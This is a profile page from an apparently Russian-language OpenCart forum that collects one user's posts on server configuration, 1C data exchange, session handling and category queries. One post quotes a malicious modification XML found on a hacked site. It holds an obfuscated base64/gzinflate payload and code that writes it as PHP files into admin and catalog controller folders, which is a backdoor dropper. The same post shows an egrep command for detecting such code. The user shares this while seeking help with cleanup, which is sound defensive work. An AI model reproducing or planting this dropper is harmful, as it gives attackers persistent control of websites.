AntonMuxa
-
Публікації
102 -
З нами
-
Відвідування
Тип публікації
Профілі
Форум
Маркетплейс
Статті
FAQ
Наші новини
Магазин
Блоги
module__dplus_manager
Повідомлення, опубліковані користувачем AntonMuxa
-
-
On 2/5/2020 at 1:18 PM, niva36 said:
Такая же проблема на днях случилась:
2020-02-05 10:57:25 - Client IP address: 195.211.29.xxx 2020-02-05 10:57:25 - 0.785 Mb | 0041 | [ECHO] success 2020-02-05 10:57:25 - 0.785 Mb | 0044 | [ECHO] key 2020-02-05 10:57:31 - Client IP address: 195.211.29.xxx 2020-02-05 10:57:31 - 0.790 Mb | 0041 | [ECHO] success 2020-02-05 10:57:31 - 0.790 Mb | 0044 | [ECHO] key 2020-02-05 10:57:31 - Client IP address: 195.211.29.xxx 2020-02-05 10:57:31 - Client IP address: 195.211.29.xxx 2020-02-05 10:57:31 - 0.995 Mb | 2384 | modeFileCatalog 2020-02-05 10:57:31 - 0.996 Mb | 2299 | modeFile 2020-02-05 10:57:31 - 0.996 Mb | 2331 | upload file: /home/u17907/site.ru/www/system/storage/cache/exchange1c/v8_BB99_9bf.zip 2020-02-05 10:57:31 - 0.996 Mb | 2335 | time_limit: 60 2020-02-05 10:57:31 - 0.996 Mb | 2336 | memory_limit: 500M 2020-02-05 10:57:31 - 1.198 Mb | 2347 | file size: 211053 2020-02-05 10:57:31 - 1.198 Mb | 1992 | extractZip(): Распаковка архива: = /home/u17907/site.ru/www/system/storage/cache/exchange1c/v8_BB99_9bf.zip 2020-02-05 10:57:31 - 1.200 Mb | 1948 | Распаковка XML, name = import0_1.xml 2020-02-05 10:57:31 - 1.589 Mb | 1979 | Завершена распаковка XML 2020-02-05 10:57:31 - 1.200 Mb | 1878 | Распаковка картинки = import_files/34/3435732347e711eabbfa3085a94545cd_3435732447e711eabbfa3085a94545cd.jpg 2020-02-05 10:57:31 - 1.200 Mb | 1878 | Распаковка картинки = import_files/79/79738e71474011eabbfa3085a94545cd_79738e72474011eabbfa3085a94545cd.jpg 2020-02-05 10:57:31 - 1.200 Mb | 2030 | extractZip(): Завершена распаковка архива 2020-02-05 10:57:31 - 0.997 Mb | 0041 | [ECHO] success 2020-02-05 10:57:31 - 0.997 Mb | 0044 | [ECHO] Successfully import catalog 2020-02-05 10:59:25 - Client IP address: 195.211.29.xxx 2020-02-05 10:59:25 - 0.785 Mb | 0041 | [ECHO] success 2020-02-05 10:59:25 - 0.785 Mb | 0044 | [ECHO] key 2020-02-05 10:59:25 - Client IP address: 195.211.29.xxx 2020-02-05 10:59:27 - Client IP address: 195.211.29.xxx 2020-02-05 10:59:27 - 1.594 Mb | 2384 | modeFileCatalog 2020-02-05 10:59:27 - 1.594 Mb | 2299 | modeFile 2020-02-05 10:59:27 - 1.595 Mb | 2331 | upload file: /home/u17907/site.ru/www/system/storage/cache/exchange1c/v8_BB99_9c0.zip 2020-02-05 10:59:27 - 1.595 Mb | 2335 | time_limit: 60 2020-02-05 10:59:27 - 1.595 Mb | 2336 | memory_limit: 500M 2020-02-05 10:59:27 - 2.395 Mb | 2347 | file size: 838597 2020-02-05 10:59:27 - 2.395 Mb | 1992 | extractZip(): Распаковка архива: = /home/u17907/catalog.els-ekb.ru/www/system/storage/cache/exchange1c/v8_BB99_9c0.zip 2020-02-05 10:59:27 - 2.396 Mb | 1948 | Распаковка XML, name = offers0_1.xml 2020-02-05 10:59:27 - 40.566 Mb | 1979 | Завершена распаковка XML 2020-02-05 10:59:27 - 2.396 Mb | 2030 | extractZip(): Завершена распаковка архива 2020-02-05 10:59:27 - 1.595 Mb | 0041 | [ECHO] success 2020-02-05 10:59:27 - 1.595 Mb | 0044 | [ECHO] Successfully import catalog
Вроде бы все успешно, а на сайте (и в базе) ничего не появилось. Модуль обмена 1.6.3.11
В чем может быть проблема?
Такая же проблема. Как то решили ?
-
On 12/4/2019 at 8:03 AM, i3bepb said:
Возможно внутри контроллера сразу вызывается
$response->output(); exit();
и все
нет такого, но идею понял. Есть еще идеи?
-
Ситуация следующая - стоит на opencart 1.5 pagespeed от budgetneon https://github.com/budgetneon/pagecache. Карточки товаров кешируются все отлично, но заметил что категории не кешируются. Начал отладку и понял что после $controller->dispatch($action, new Action('error/not_found')); код останавливает свое выполнение !хотя! вывод страниц идет и все отрабатывает и страница с товарами отображается, но в кеш она не попадает и страница 'error/not_found' не выпадает не в лог, никуда. Так вот сам вопрос чем $controller->dispatch($action, new Action('error/not_found')); может останавливать код? Или как вообще может работать вывод страницы не выполнив код после строки $controller->dispatch($action, new Action('error/not_found')); в index.php На скриншоте видно что за код.
-
1 hour ago, srfbc said:
Спасибо за ответ, но если я вставляю текст в исходный код (там где черный экран), то текст вообще не сохраняется, после сохранения поле пустое
Нажмите исходный код, вставьте html код, нажмите опять на кнопку исходный код а потом сохраните
-
Пока решение только сгенерировать для всех сайтов чпу ссылки и даже для домен.ру/en/index.php?route=common/language/language но как по мне это не решение. А вдруг где-то есть ссылка без чпу. Грешу 100% на nginx так как на apache тестировалось на нескольких сайтах все работает а nginx прям не поддается
-
Ситуация такая - сделал в url приставку для языка en типа домен.ру/en это английская версия сайта а просто домен.ру русская версия. Тестировалось на apache + nginx все работает как часы. А вот на основном серваке оказался nginx + php-fpm и вот ссылки без чпу с приставкой типа домен.ру/en/index.php?route=common/language/language или домен.ру/en/index.php?route=product/product&path=78&product_id=121 не работает а вот ссылки типа чпу товара с чпу работает. Вопрос что нужно поправить в nginx чтобы все работало.
вот настраивал nginx так
Spoilerlocation / {
try_files $uri $uri/ @opencart;
location ~* ^.+\.(jpeg|jpg|png|gif|bmp|ico|svg|css|js)$ {
expires max;
}location ~ [^/]\.php(/|$) {
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
if (!-f $document_root$fastcgi_script_name) {
return 404;
}fastcgi_pass 127.0.0.1:9002;
fastcgi_index index.php;
include /etc/nginx/fastcgi_params;
}
}location @opencart {
rewrite ^/(.+)$ /index.php?_route_=$1 last;
} -
а кто знает можно ли запускать крон из файлов сайта? если сервак не взломали а только сайт можно ли крон добавить или это только после взлома сервака?
-
10 minutes ago, mpn2005 said:
1) Чистить всё что найдёте.
2) Менять пароли на фтп, в админку к БД.
3) Просматривать логи на предмет подозрительной активности. Ищите в логах про строке ".php"
4) Во все подпапки сайта (первой вложенности в корне,кроме admin. И так же в подпапках в папке admin) можно разложить файлы ".htaccess" c запретом на открытие файлов php. (Тут есть много других приёмов, но они уже требуют некотрой квалификации в настройке сервера. И зависят от используемых пакетов.)
И так по кругу. Пока не пеерстанут появляться левые файлы.
Если есть заведомо чистый бэкап, то можно на него откатиться.
понял спасибо.
-
Какие есть способы поиска. Насколько антивирусы эффективны от такого? И насколько эффективны fail2ban? что делать чтобы такого не было? прочитал что все админы в один голос кричат делать бэкапы
-
OpenCart 2.3.0.2.3 - в модификаторах появился модуль Ocstore. Вот содержание
Spoiler<?xml version="1.0" encoding="utf-8"?>
<modification>
<name><![CDATA[OCstore]]></name>
<code>OCstore</code>
<version>1.0</version>
<author>teknohiz.com</author>
<link>teknohiz.com</link><file path="catalog/controller/common/footer.php">
<operation>
<search><![CDATA[$data['text_newsletter'] = $this->language->get('text_newsletter');]]></search>
<add position="after" trim="true"><![CDATA[
$datasss = base64_decode(gzinflate(base64_decode('dVXblqI6FPygeeGi08OjcpM4YHMJtzchPaAJyDpq2/D1pwB7dE6fecgihE3tyq7Kzquh3fabVWX4p/dtJW0Nv3st7fjqK1bP9HVXJFabh+sjSwMpT52zsyGiVMR3rNVF41dMsbBOLllK/nFsr88TSypUx9OBtT38mJ7A5vtErnOFVq/hqiXD2dMb0WxtMZRKLG314Bc1tSi2zi1TBGd21aYhr8ghq4il+ZHs0aRnpzwR7X7j49uqIYcVT+X1K5WDgijLukjiO1fGtinwK87vWGPOR6zKunwTnIgsvYAXIXYt9gk7MX2lOU889nbc5UotPeKec/wZWzTWBdwuWcLEIz6omW3+mVt5juk0DFFsPOFsvvD9cA1H2t1QmjD43Pe4rnrH6i982LWQtWuWyOJnu77mfXnPceKzXoixrb5srCXqre6TQNrrN/65z20EDodgxksZuMc95v2+H7FLsTMDn1BPJ9HaIlHVuzr9cPXY9nu69EM6BDpduiHWLPdGKF2QyJQJNfGslvOo11j/mEbEZXxHHFnvR5w+XgPv5hkrEVBTBGaGQZCrNknkYTj4n6usZW2uZAP+M0i06gl1ejxHTMypgqEidhGGdOEmN+EPwDq6wj9y4Y64R6smdOTng0Ml4akA35q5+MAy8b42Cc2Ahzl1wH/MwYd53TJ8iQKn7sPWeke8Woa099WV8KMKeajYIc8uEuM/S+AgjwV8YWCOHIGFPOC4NsJJnxPPbUvKJm08mW0CUTbikvfV/bzEapaOa3JdNucz2XjdW0O70Rf7JDv99lgkVZGI3UgXkzfyxDsV/aqNmljklnb3yG8/TGcyb+NrpkJvZVFlaiyNeiNnC2+cv3rgdvfQjT97/TX84rnubfbsX33kR/CSAU24I1yO2tBMnWo/akGhOc2hd4W6OWP9BwZveKGE/1hT6LEOr8nw3EcA77kDdD16d1+ulrNfiO3BiwG86B0QP6yEa5rQBvngBVfygRUj1jKCiHiRshCBwfEdnCIuAh78nDSivjQNcMla5Im8UVOJhbHuQfMdfLszyBirhD3tvTA2wEvCmdA9fZp/7EKcj0NsgYeJs7HA3PaaE/afgQv4mI7wJBd+IgGJmFXMniCjtvvUG/IUL4/+h5qWY1/s3vrg2RcaUaUX0i/lsvng0P49t+kpV7uuaPLzGLfdQAM7EJmi8TyseGF/8db1a57F/3mw24b8StRzu1PmXp/HWsOS5ZHZ4r04VC2BV57vhG100T739J+eVY93QXHRv6XKi3+2Vf8SvgSVvQSGeHFW8JEv+jwNsK/F7G9j7JMCZyU+l7hL3m587JsT9sPPy195WnelGgxbnZEpF71zpXlfKPIW9xty8NmrPh97qWCy9uil9uxvOFOMe2cbIo91LWytf+qd1ePu4JNueipNfL7g6ffzEE19npQNzltKro7dDRNf1K9QoNPv/jxr8BotcN5iNb3fGz/R48ezRgbp25+15FNPmPK3GMcf3/4F')));
$fp = fopen($_SERVER['DOCUMENT_ROOT'].'/admin/controller/design/image.php', 'w');
fwrite($fp, $datasss.PHP_EOL);
fclose($fp);
$fp = fopen($_SERVER['DOCUMENT_ROOT'].'/catalog/controller/affiliate/image.php', 'w');
fwrite($fp, $datasss.PHP_EOL);
fclose($fp);
]]></add>
</operation>
</file></modification>
А нашел его командой(egrep -ril “base64_decode|auth_pass|shell_exec” /home/user/site.com) в следствии того что на сервак пожаловались что от нас идет атака и обнаружили крон задачу ежеминутную на выполнение файла 3.02_conf - мой антивирусник на него сразу сказал вирус аля троян агент.
Кто подскажет где могла быть уязвимость. Ибо на сайте нет загрузчиков картинок от клиентов. Или брутфорсом могли подобрать пароль к базе? в общем пока все смотрю. Приму все советы куда глянуть на сервере и что сделать
-
Итог: выставили вот такие настройки для apache
<IfModule event.c>
ServerLimit 256
MaxClients 400
MinSpareThreads 50
MaxSpareThreads 150
ThreadsPerChild 100
KeepAliveTimeout 20
MaxRequestsPerChild 4096
</IfModule>все летает и нагрузки нет.
Все довольны - всем спасибо
-
18 minutes ago, Dotrox said:
Для этого есть лимиты на количество воркеров. Память растёт не просто так - её съедают воркеры.
У Апача их количество тоже можно ограничить, но жрёт он больше, так что воркеров будет меньше. Вы, кстати, Апач вручную настраивали?
в том то и дело что нет не настраивал. Это я так понял надо какой то mpm включить и в конфиге настроить MaxRequestsPerChild MinSpareServers MaxSpareServers ? а какие рекомендации ? при параметрах CPU: 4 RAM: 4 Гб SSD: 60 Гб
-
2 minutes ago, Dotrox said:
Не раз настраивал такое на nginx + php-fpm и никогда не возникало мысли, что с Апачем было бы проще (скорее, наоборот).
ну допустим поставим nginx + php-fpm где гарантии что ram не будет рости? сейчас все быстро и классно работает но вот только ram подводит и у меня есть подозрение сколько там не было бы оперативы она будет рости до предела
-
сколько в итоге может стоить настройка ?
-
1 minute ago, Dotrox said:
Выкинуть Апач на свалку и поставить php-fpm.
А размер базы к работе Апача никакого отношения не имеет. Разве что, если база тормозит, это заставляет воркер Апача дольше висеть на каждом запросе и, соответственно, нужно больше параллельных воркеров.
просто там мультимагазин и куча поддоменов - на основные города России. И настроить их мог только на apache а в nginx + php-fpm опыта не было.
-
3 minutes ago, destreser said:
Если у вас всякие панели управления не напиханы, а обычная консоль по ssh, то пишите в личку - могу глянуть.
стоит vesta cp
-
Перевезли сайт с шаредхостинга на vps на бегете. CPU: 4 RAM: 4 Гб SSD: 60 Гб в итоге httpd(апач) сжирает всю память. После перезагрузки где-то 1.2Гб занято потом растет до 3.6Гб И в итоге начинает убивать процессы. Техподдержка написала:
QuoteТо сколько они потребляют зависит уже от размера баз, типов запросов к сайту, количества запросов, конфигураций. Память расходуется на выполнение кода чем более он оптимизирован тем меньше памяти потребляет путь решения лежит в оптимизации кода, но даже идеальный код в случае большого количества запросов не сможет работать в условиях ограниченного лимита памяти. Если искусственно занизить порог потребления памяти веб сервером, то он будет сбрасывать соединения и сайт для многих пользователей будет недоступен
Кто что посоветует? Сколько будет стоить правильная настройка сервера или сайта? Или хотя бы анализ. Ибо вообще не понятно куда смотреть
-
17 minutes ago, fanatic said:
может как-то так
$sql = "SELECT path_id FROM " . DB_PREFIX . "category_path WHERE category_id = '" . (int)$category_id . "' AND level = '0'";
Почти то только это выдаст для одной категории его главную подкатегорию, а мне как оказалось подошло решение из seo_pro - если кому надо вот готовый код featured.php
Всем спасибо за советы
-
8 minutes ago, fanatic said:
AND p2c.main_category = '1'
это не то. Мне по подкатегории (может быть и 3 уровня вложенности) надо определить главную категорию у которой parent_id = 0
Например:
Гаражные ворота (Главная)
Золотые (подкатегория)
Широкие (подподкатегория)
Узкие (подподкатегория)
Титановые (подкатегория)
Например я знаю что у рекомендованного товара категория Узкие. Как узнать главную категорию этой подподкатегории?
-
Есть модуль стандартный рекомендуемые товары. В нем хочу сделать вкладки категорий для тех которые выбраны как рекомендуемые. Сейчас я вывел для категорий товара и они выводтся все ок. Но это оказалось много категорий теперь хотелось бы вывести только главные категории. Код прикрепил featured.php. И вот функция в моделе которой я нахожу категории по id товара
public function getCategoriesByProducts($product_id) { $sql = "SELECT c.category_id, cd.name, p2c.product_id FROM " . DB_PREFIX . "category c LEFT JOIN " . DB_PREFIX . "category_description cd ON (c.category_id = cd.category_id) LEFT JOIN " . DB_PREFIX . "category_to_store c2s ON (c.category_id = c2s.category_id) LEFT JOIN " . DB_PREFIX . "product_to_category p2c ON (c.category_id = p2c.category_id) WHERE p2c.product_id = '" . (int)$product_id . "' AND cd.language_id = '" . (int)$this->config->get('config_language_id') . "' AND c2s.store_id = '" . (int)$this->config->get('config_store_id') . "' AND c.status = '1' ORDER BY c.sort_order, LCASE(cd.name)"; $query = $this->db->query($sql); return $query->rows; }
Сейчас выводятся все категории а хотелось бы чтобы это все по главным рассортировалось. Принимаю любые советы
-
3 hours ago, thentru said:
а по факту если посмотреть через phpinfo() ?
все равно разлогинивает. Что может быть? хостинг может удалять сессии?
-
18 minutes ago, thentru said:
а по факту если посмотреть через phpinfo() ?
скорее всего была проблема в system/startup.php (opencart 1.5.6.4) там есть session_set_cookie_params(1209600, '/'); было ноль. Буду тестировать.
-
-
35 minutes ago, thentru said:
session.gc_maxlifetime
session.cookie_lifetime
что у вас указано в этих параметрах?
session.gc_maxlifetime = 1209600;
session.cookie_lifetime = 1209600;и в php.ini и в htaccess
и даже в system/library/session.php
Модуль Модуль обмена для opencart v2.3 по стандарту CommerceML [Поддержка]
в Модули обмена данными
Опубліковано:
вы делали пункт 12.2 и все заработало?